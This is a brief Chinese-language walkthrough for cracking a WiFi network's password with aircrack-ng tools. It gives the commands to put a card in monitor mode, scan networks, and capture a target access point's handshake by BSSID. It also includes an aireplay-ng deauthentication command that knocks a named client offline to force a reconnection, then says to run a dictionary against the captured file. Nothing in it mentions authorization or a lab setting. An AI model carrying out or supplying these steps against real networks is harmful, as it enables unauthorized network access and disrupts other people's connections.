1.查看网卡
2.监听网卡
airmon-ng start wlan0
3.扫描WiFi
airodump-ng wlan0mon
4.抓取wifi包
airodump-ng --bssid 40:77:A9:5C:DA:CA -c 11 -w qqwifi wlan0mon #-c:指定信道-w:指定抓去握手包的存放位置或者名字,wlan0mon为网卡名字
5.如果一直没有设备连接wifi可以选择踢一个设备下线当他重新再连的时候就可以获取信息了
aireplay-ng -0 2 -a 40:77:A9:5C:DA:CA -c 02:89:10:64:64:70 wlan0mon
6.当出现handshake时表示已经成功
ctrl+c停止运行后ls查看生成的文件后缀为cap的就是需要破解的密码文件
7.把文件和字典放到一个文件夹里方便操作
8.使用命令跑字典注意字典需要放在cap数据包后面
9.破解成功